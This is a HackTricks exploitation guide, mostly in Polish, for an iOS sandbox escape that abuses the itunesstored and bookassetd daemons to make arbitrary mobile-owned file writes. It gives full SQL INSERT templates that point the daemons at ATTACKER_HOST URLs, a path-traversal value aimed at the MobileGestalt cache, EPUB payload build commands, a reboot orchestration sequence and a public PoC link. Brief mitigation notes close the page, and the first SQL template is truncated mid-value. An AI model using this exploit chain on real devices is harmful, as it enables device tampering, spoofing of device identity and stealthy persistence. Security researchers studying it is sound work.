itunesstored & bookassetd Sandbox Escape
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Overview
Niedawne badania pokazują, że dwa preinstalowane demony iOS, itunesstored (menedżer pobierania) i bookassetd (zarządca zasobów Books / iBooks), ślepo ufają zapisywalnym przez użytkownika metadanym SQLite. Poprzez umieszczenie spreparowanych plików downloads.28.sqlitedb i BLDatabaseManager.sqlite oraz minimalnego archiwum EPUB, atakujący, który ma możliwość zapisu w /var/mobile/Media/, może zmusić te demony do dowolnych zapisów plików w większości ścieżek należących do mobile wewnątrz /private/var/. Mechanizmy te przetrwają restart urządzenia i pozwalają modyfikować cache’e grup systemowych takich jak systemgroup.com.apple.mobilegestaltcache w celu sfałszowania właściwości urządzenia lub utrwalenia konfiguracji.
Key properties:
- Works on devices up to at least iOS 26.2b1 (tested on iPhone 12 / iOS 26.0.1).
- Writable targets include
SystemGroupcaches,/private/var/mobile/Library/FairPlay,/private/var/mobile/Media, and othermobileowned files. Writes toroot-owned files fail. - Needs only AFC-level access (USB file copy) or any foothold that lets you replace the target SQLite DBs and upload payloads.
Threat Model & Requirements
- Lokalny dostęp do systemu plików do
/var/mobile/Media/Downloads/i/var/mobile/Media/Books/(przez klientów AFC takich jak 3uTools, i4.cn, lubafcclientprzez USB, albo dowolne wcześniejsze przejęcie). - Serwer HTTP hostujący pliki atakującego (
BLDatabaseManager.sqlite,iTunesMetadata.plist, spreparowane EPUB) udostępnione przez URL-e takie jakhttps://ATTACKER_HOST/fileprovider.php?type=.... - Możliwość wielokrotnego restartu urządzenia, aby każdy demon przeładował swoją bazę danych.
- Znajomość UUID system-group Books, aby zapis Etapu 1 trafił do właściwego kontenera (można go znaleźć w syslogu).
Stage 1 – Abusing downloads.28.sqlitedb via itunesstored
itunesstored przetwarza /var/mobile/Media/Downloads/downloads.28.sqlitedb. Tabela asset przechowuje metadane URL + miejsce docelowe i jest traktowana jako zaufane wejście. Skomponowanie wiersza wskazującego na URL atakującego i ustawiającego local_path na .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite wewnątrz Books SystemGroup powoduje, że itunesstored pobiera i nadpisuje bazę Books zawartością atakującego podczas rozruchu.
Locate the Books SystemGroup UUID
- Zbierz archiwum syslog za pomocą
pymobiledevice3:
pymobiledevice3 syslog collect logs.logarchive
- Otwórz
logs.logarchivew Console.app i wyszukajbookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite. - Zanotuj
<UUID>i podstaw go w ładunku SQL.
Malicious asset row
Szablon INSERT — Etap 1
```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup/Pola, które mają znaczenie:
url: punkt końcowy kontrolowany przez atakującego zwracający złośliwyBLDatabaseManager.sqlite.local_path: plikBLDatabaseManager.sqlitegrupy systemowej Books określony powyżej.- Flagi kontrolne: zachowaj wartości domyślne (
asset_type='media',path_extension='epub', booleany ustawione na 0/1 jak w szablonie), aby demon zaakceptował zadanie.
Wdrożenie
- Usuń przestarzałe wpisy
/var/mobile/Media/Downloads/*, aby uniknąć wyścigów. - Zamień
downloads.28.sqlitedbna spreparowaną bazę danych za pomocą AFC. - Reboot →
itunesstoredpobierze bazę danych Etapu 2 i zrzuci/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist. - Skopiuj ten plist do
/var/mobile/Media/Books/iTunesMetadata.plist; Etap 2 oczekuje go w tej lokalizacji.
Etap 2 – Wykorzystywanie BLDatabaseManager.sqlite przez bookassetd
bookassetd posiada szersze uprawnienia do systemu plików i ufa tabeli ZBLDOWNLOADINFO. Wstawiając fałszywy wiersz zakupu, który odwołuje się do URL-ów kontrolowanych przez atakującego i zawiera przejście katalogowe w ZPLISTPATH, demon pobiera Twój EPUB do /var/mobile/Media/Books/asset.epub i później rozpakowuje metadane do dowolnej ścieżki należącej do mobile osiągalnej przez sekwencje ucieczki ../../...
Złośliwy wiersz ZBLDOWNLOADINFO
Szablon INSERT Etapu 2
```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```Ważne pola:
ZASSETPATH: lokalizacja EPUB na dysku kontrolowana przez atakującego.ZURL/ZPERMLINK: adresy URL atakującego hostujące EPUB i pomocniczy plist.ZPLISTPATH:../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library– path traversal base dołączana do plików wyodrębnionych z EPUB. Dostosuj głębokość path traversal, aby dotrzeć do żądanego celu SystemGroup.- Metadane zakupu (
ZSTOREIDENTIFIER, nazwy, znaczniki czasu) naśladują prawidłowe wpisy, aby daemon nie odrzucił wiersza.
Po skopiowaniu złośliwej bazy danych do /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite (dzięki Stage 1) i dwukrotnym uruchomieniu systemu, bookassetd wykona: (1) pobierze EPUB, (2) przetworzy go i zapisze wygenerowany plist pod ścieżką uzyskaną wskutek path traversal.
Przygotowanie ładunku EPUB
bookassetd przestrzega formatu EPUB ZIP: mimetype musi być pierwszym nieskompresowanym wpisem. Aby zmapować zawartość EPUB do MobileGestalt cache, zbuduj drzewo katalogów, które odzwierciedla żądaną ścieżkę względem ZPLISTPATH.
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
Utwórz archiwum:
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
mimetypezwykle zawiera dosłowną wartośćapplication/epub+zip.Caches/com.apple.MobileGestalt.plistzawiera ładunek kontrolowany przez atakującego, który trafi do.../Library/Caches/com.apple.MobileGestalt.plist.
Przebieg orkiestracji
- Przygotuj pliki na serwerze HTTP kontrolowanym przez atakującego i skonstruuj oba SQLite DBs z wartościami specyficznymi dla hosta/UUID.
- Zastąp
downloads.28.sqlitedbna urządzeniu i zrestartuj → Etap 1 pobiera złośliwyBLDatabaseManager.sqlitei generuje/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist. - Skopiuj
iTunesMetadata.plistdo/var/mobile/Media/Books/iTunesMetadata.plist(powtarzaj, jeśli demon go usuwa). - Zrestartuj ponownie →
bookassetdpobieraasset.epubdo/var/mobile/Media/Books/używając metadanych Etapu 2. - Zrestartuj po raz trzeci →
bookassetdprzetwarza pobrany asset, podąża zaZPLISTPATHi zapisuje zawartość EPUB do docelowej ścieżki SystemGroup (np.com.apple.MobileGestalt.plist). - Zweryfikuj przez odczyt nadpisanego plist lub obserwację, że właściwości pochodzące z MobileGestalt (identyfikator modelu, flagi aktywacji itp.) zmieniają się odpowiednio.
Ten sam schemat pozwala upuścić pliki w innych cache’ach należących do mobile, takich jak stan FairPlay lub katalogi persistence, umożliwiając skryte manipulacje bez potrzeby użycia kernel exploit.
Narzędzia i uwagi operacyjne
pymobiledevice3 syslog collect logs.logarchive– wyodrębnij archiwa logów, aby odkryć Books SystemGroup UUID.- Console.app – filtruj po
bookassetd [Database]: Store is at ..., aby odzyskać dokładną ścieżkę kontenera. - AFC clients (
afcclient, 3uTools, i4.cn) – push/pull SQLite DBs i pliki plist przez USB bez jailbreak. zip– wymuszaj ograniczenia kolejności EPUB przy pakowaniu payloadów.- Public PoC – https://github.com/hanakim3945/bl_sbx zawiera szablony bazowe SQLite/EPUB, które możesz dostosować.
Wykrywanie i łagodzenie
- Traktuj
downloads.28.sqlitedbiBLDatabaseManager.sqlitejako nieufne wejście: zweryfikuj, żelocal_path/ZPLISTPATHpozostają w zatwierdzonych sandboxach i odrzuć pełne ścieżki lub tokeny traversalu. - Monitoruj zapisy AFC, które zastępują te bazy danych, lub nieoczekiwane pobrania zainicjowane przez
itunesstored/bookassetdkrótko po starcie. - Wzmocnij rozpakowywanie
bookassetd, używającrealpath()dla docelowego pliku wyjściowego i upewnij się, że nie może on uciec poza kontener Books przed zapisaniem plików. - Ogranicz kanały kopiowania plików AFC / USB lub wymagaj interakcji użytkownika przed zezwoleniem na zastąpienie plików metadanych Books/iTunes.
Źródła
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

